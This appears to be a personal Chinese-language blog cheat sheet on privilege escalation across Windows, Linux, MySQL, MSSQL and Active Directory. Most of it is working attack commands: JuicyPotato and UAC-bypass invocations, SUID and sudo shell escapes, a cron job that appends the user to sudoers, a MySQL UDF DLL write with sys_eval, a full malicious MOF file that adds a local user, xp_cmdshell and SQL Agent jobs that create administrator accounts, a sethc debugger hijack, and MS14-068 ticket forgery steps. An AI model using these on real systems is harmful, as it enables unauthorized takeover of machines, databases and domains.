提权

[toc]

windows 提权


内核提权

汇总:https://github.com/SecWiki/windows-kernel-exploits

提权辅助

systeminfo 查看补丁

1
Wmic qfe get Caption,Description,HotFixID,InstalledOn

image-20220221104049104

https://i.hacking8.com/tiquan 寻找提权漏洞,github下载,但提权exe需要经过免杀测试

Windows提权漏洞合集

msf
  1. 该模块能够查询安装补丁
1
use post/windows/gather/enum_patches

image-20220221103405151

  1. 低权限用户的session,该模块用于快速识别系统中可能被利用的漏洞,进行提权
1
use post/multi/recon/local_exploit_suggester 

image-20220221112230097

根据显示可利用的模块,进行提权(感觉可以)

image-20220221131823569

bypassUAC

用户帐户控制 (UAC) 允许所有用户使用标准用户帐户登录到他们的计算机。 使用标准用户令牌启动的进程可能会使用授予标准用户的访问权限执行任务。借助 UAC,应用和任务将始终在非管理员帐户的安全上下文中运行,除非管理员专门授予管理员级别的访问系统权限。 UAC 可阻止自动安装未经授权的应用并防止意外更改系统设置。

总之来说就是绕过uac限制,运行某些程序,对c盘一些重要文件进行读取和写入,安装卸载程序等

适用于:

  • Windows 10,Windows 11,Windows Server 2016 和更高版本
msf:
1
use exploit/windows/local/bypassuac

image-20220221133213351

参考:https://mp.weixin.qq.com/s/vowFqYxX_x0gu2-38TEGFA

dll注入
白名单进程

土豆家族

Juicy Potato:https://github.com/ohpe/juicy-potato

原理:

实际上就是利用MS16-075漏洞进行提权

1
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}

image-20220219151053814

条件:

  1. 用户权限:
1
2
3
4
5
6
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t

如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u

如果均开启,可以选择-t *
如果均未开启,那么无法提权
  1. RPC 135端口是否开启

其他tips:

(CVE-2022-29072)7zip漏洞 提权

参考:

https://mp.weixin.qq.com/s/66y_Pg2j9CNfxeErFczdSg

https://mp.weixin.qq.com/s/lmfM6VWM3YXj2vjalNerKw

https://blog.cfyqy.com/article/bde10ad7.html#more

linux 提权


1
2
uname -a               查询内核版本
cat /etc/issue 查询发行版本

漏洞

脏牛

Linux Polkit 权限提升(CVE-2021-4034)

Linux kernel 本地提权漏洞 cve-2022-0847

https://github.com/SecWiki/linux-kernel-exploits

1
searchsploit Ubuntu 16.04.1

image-20220307133812910

SUID

寻找root用户拥有的suid的文件。普通用户通过suid能够以文件拥有者身份允许该文件

1
2
3
4
5
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
参考谢公子 https://blog.csdn.net/qq_36119192/article/details/84872644

可以利用提权的文件列表

1
2
3
4
5
6
7
8
nmap
vim
find
bash
more
less
nano
cp

如果执行命令发现以上程序文件列表,即可提权,例如:发现 /usr/bin/find

1
2
touch aaa
/usr/bin/find aaa -exec whoami \;

vim

1
2
3
4
5
vim.tiny


:set shell=/bin/sh
:shell

bash

1
bash -p

less

1
2
less /etc/passwd
!/bin/sh

awk

1
sudo awk 'BEGIN {system("/bin/bash")}'

sudo

知道账户密码

1
2
3
sudo find . -exec /bin/sh \; -quit

sudo python -c 'import pty;pty.spawn("/bin/bash")'

漏洞

计划任务

crontab提权

  1. 编辑/etc/crontab,设置每隔1分钟执行一次sh脚本
1
*/1 * * * * root sh /home/test/test.sh >> /tmp/test.txt
  1. 如果test用户有权限操作test.sh,则存在提权漏洞。下面使用test用户修改test.sh:将test用户加入sudoers
1
2
3
4
5
mv test.sh test.sh.bak

vim test.sh echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers


  1. 等待1分钟后,成功提权
1
2
3
sudo su

whoami

参考:https://www.cnblogs.com/sfsec/p/15163907.html

mysql提权

udf

原理:

1
UDF是mysql的一个扩展接口,即扩展mysql的用户自定义函数。用户可以向mysql的udf.dll中添加用户自定义函数(可以执行命令的函数,如sys_eval()),即可获得system权限。

条件:

1
2
3
4
5
6
7
8
9
10
1. mysql用户(root)的密码,(查询,破解hash)
2. secure_file_priv的值为空,具有写入权限,
如果mysql服务器开启了secure-file-priv选项,就只能将文件导出到指定目录下

dll位置:
mysql版本>=5.1 dll文件导入lib\plugin目录
5.0<mysql版本<5.1 dll文件导入c:\windows或者c:\windows\system32目录下

mysql版本<4.1 任意位置
4.1<=mysql版本<5.0

查看mysql的版本

查看secure_file_priv的值

1
2
3
4
5
6
7
show global variables like 'secure%';

当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出,此时无法提权

当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权

当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

此处secure_file_priv的值为空,符合提权的要求

查看plugin的目录名称

1
show variables like 'plugin%';

查询目录的绝对路径

1
select @@plugin_dir;

查看系统架构

1
show variables like '%compile%';

可以看到该主机是64位的

接下来将udf.dll文件写入plugin目录,并创建函数

1
select 0x十六进制内容 into dumpfile "plugin的目录\\udf.dll"

把桌面上的tools文件夹中的udf.txt里面的十六进制内容写入C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\udf.dll

1
select 0x4D5A90000300000 ...... into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll';

成功将udf.dll写入目标路径

导入udf函数

1
2
3
create function sys_eval returns string soname 'udf.dll';    # 导入sys_eval函数

select * from mysql.func where name = 'sys_eval'; # 查看创建的sys_eval函数

执行系统命令

1
2
3
select sys_eval('whoami');

select sys_eval('ipconfig');

成功获取system权限

mof

原理:

对c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件 具有读写权限,在nullevt.mof 中可以构造恶意vbs脚本(特性是每隔一段时间执行一次)进行命令执行

条件:

1
2
3
secure-file-priv参数不为null
mysql启动身份具有权限去读写 c:/windows/system32/wbem/mof目录
windows 03及以下版本

公开nullevt.mof 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user shmily 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

导入:

1
select load_file("C:/phpStudy/WWW/upload/1.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

mssql提权

xp_cmdshell

xp_cmdshellmssql2000中是默认开启的,不过在mssql2005之后的版本中则是默认关闭的。

查询xp_cmdshell是否存在

1
select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;

启用xp_cmdshell命令 ,需要管理员SA权限,否在不能启动。

1
2
3
4
5
6
7
EXEC sp_configure 'show advanced options',1
reconfigure
go
EXEC sp_configure 'xp_cmdshell',1
reconfigure
go

提权

1
exec master..xp_cmdshell 'net user shmily 123. /add'

sp_oacreate

xp_cmdshell被删除时候,sp_oacreate默认被禁止,需要开启。sp_oacreateSQL Server实例上创建OLE对象实例。

恢复sp_oacreate

1
2
3
4
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

命令执行 ->输出到c:\1.txt

1
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt';

沙盒提权

沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.

Mssql提权 - Cyberpunk (alexsel.com)

镜像劫持提权

通过regwrite函数修改注册表进行,regwrite需要开启

参考上面开启Ad Hoc Distributed,并恢复regwrite

劫持

1
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

查看Debugger 是否为cmd路径

1
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

然后远程桌面,五次shift

JOB提权

创建任务X,执行命令,返回结果

启动sqlagent服务:

1
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

创建任务x,执行添加账户的命令,然后将命令返回结果输出到q.txt

1
2
3
4
5
6
use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user test test /add &net localgroup administrators test /add>c:/q.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';

参考:

Mssql提权 - Cyberpunk (alexsel.com)

域内提权

MS14-068

原理:PAC问题

用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据。

如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。

将TGT发送到KDC,KDC的TGS(票据授权服务)在验证了TGT后,将服务票据(Server Ticket)发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。

1
2
3
4
5
前提条件:

域控没有打该漏洞补丁(KB3011780)

已经获取普通域用户的账户,密码,hash,sid(whoami /user)
1
2
3
4
5
6
7
8
9
10
11
12
利用:

1.mimikatz清除票据
kerberos::purge

2.ms14-068.exe生成票据
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr(ip)>

-u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域ip

3.mumukatz导入票据,权限提升为域管
kerberos::ptc "票据文件名"

CVE-2021-42287/CVE-2021-42278

即saMAccountName spoofing漏洞,仅有一个普通域账号的场景下,利用该漏洞接管全域。

域内提权漏洞CVE-2021-42287与CVE-2021-42278原理分析 - FreeBuf网络安全行业门户

  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信